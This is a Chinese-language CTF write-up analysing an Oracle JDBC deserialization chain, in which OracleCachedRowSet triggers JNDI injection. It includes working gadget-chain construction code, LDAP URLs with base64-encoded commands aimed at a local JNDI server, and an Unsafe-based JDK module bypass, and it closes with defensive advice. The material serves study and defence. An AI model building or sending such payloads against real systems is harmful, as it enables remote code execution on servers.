通过JDBCparty 对 oracle 利用链分析
字数 959 2025-08-22 12:23:24
Oracle JDBC 利用链分析
前言
本文详细分析通过JDBCParty对Oracle数据库利用链的技术细节,重点探讨Oracle JDBC驱动中存在的安全漏洞及其利用方式。该分析基于一个Java安全攻防赛题目,其中涉及Oracle JDBC驱动的特定利用链。
环境配置
依赖项分析
题目使用的关键依赖包括:
<dependency>
<groupId>com.oracle.database.jdbc</groupId>
<artifactId>ojdbc11</artifactId>
<version>21.14.0.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jdbc</artifactId>
<version>10.1.31</version>
</dependency>
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.37</version>
</dependency>
关键代码分析
题目核心控制器代码:
@PostMapping({"/dbtest"})
public ResponseEntity<String> dbtest(String data) {
try {
User credentials = (User) Utils.deserialize(data);
Class.forName(this.driverClassName);
Connection connection = DriverManager.getConnection(this.url, credentials.getUsername(), credentials.getPassword());
// ...
} catch (Exception e) {
// ...
}
}
漏洞利用链分析
Sink点分析
Oracle JDBC驱动中的OracleCachedRowSet类存在JNDI注入漏洞:
oracle.jdbc.rowset.OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet();
oracleCachedRowSet.setDataSourceName("ldap://127.0.0.1:1389/Basic/Command/Y2FsYw==");
oracleCachedRowSet.getConnection();
关键调用链:
getConnection()调用getConnectionInternal()- 内部处理数据源名称时触发JNDI查找
JDK高版本绕过
在JDK 17等高版本中,需要特殊配置才能利用JNDI注入:
System.setProperty("oracle.jdbc.allowAbsoluteJNDIUrls", "true");
或者通过反射修改相关字段:
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
Class currentClass = OracleSink.class;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);
利用链构造
完整利用链构造示例:
// 1. 创建OracleCachedRowSet并设置恶意LDAP URL
OracleCachedRowSet oracleCachedRowSet = (OracleCachedRowSet) UnSafeTools.newClass(Class.forName("oracle.jdbc.rowset.OracleCachedRowSet"));
oracleCachedRowSet.setDataSourceName("ldap://127.0.0.1/zETKBsNKJk/Plain/Exec/eyJjbWQiOiJjYWxjIn0=");
// 2. 通过反射设置必要字段
UnSafeTools.setObject(oracleCachedRowSet, oracleCachedRowSet.getClass().getSuperclass().getDeclaredField("monitorLock"), null);
Vector aaa = new Vector<>();
aaa.add(0);
Vector bbb = new Vector<>();
bbb.add("TEST");
UnSafeTools.setObject(oracleCachedRowSet, oracleCachedRowSet.getClass().getSuperclass().getDeclaredField("matchColumnIndexes"), aaa);
UnSafeTools.setObject(oracleCachedRowSet, oracleCachedRowSet.getClass().getSuperclass().getDeclaredField("matchColumnNames"), bbb);
UnSafeTools.setObject(oracleCachedRowSet, oracleCachedRowSet.getClass().getDeclaredField("metaData"), new String[]{"TEST"});
// 3. 包装为POJONode以触发getter方法
POJONode pojoNode = new POJONode(oracleCachedRowSet);
// 4. 构造最终利用对象
EventListenerList list2 = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(pojoNode);
setFieldValue(list2, "listenerList", new Object[]{InternalError.class, manager});
// 序列化并发送
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(bao);
objectOutputStream.writeObject(list2);
String payload = Base64.getEncoder().encodeToString(bao.toByteArray());
触发机制分析
Jackson触发方式
利用POJONode触发getter方法:
POJONode继承自BaseJsonNode,其toString()方法会调用InternalNodeMapper.nodeToString()ObjectWriter.writeValueAsString()方法会遍历bean对象的所有属性并调用getter方法- 最终触发
OracleCachedRowSet的getConnection()方法
其他触发方式
除了Jackson,还可以通过以下方式触发:
- Fastjson反序列化
- 直接调用
getConnection()方法 - 通过其他会调用getter方法的框架或库
防御措施
- 升级Oracle JDBC驱动到最新版本
- 在JDK高版本中保持默认的JNDI限制(不设置
oracle.jdbc.allowAbsoluteJNDIUrls) - 对反序列化操作进行严格的白名单控制
- 使用安全的JDBC连接池配置
总结
该利用链展示了Oracle JDBC驱动中OracleCachedRowSet类的安全问题,结合反序列化漏洞可以实现RCE。在高版本JDK环境下,虽然JNDI注入受到限制,但通过特定配置或反射修改仍可能被利用。开发者应关注此类安全问题,及时更新依赖并实施适当的安全防护措施。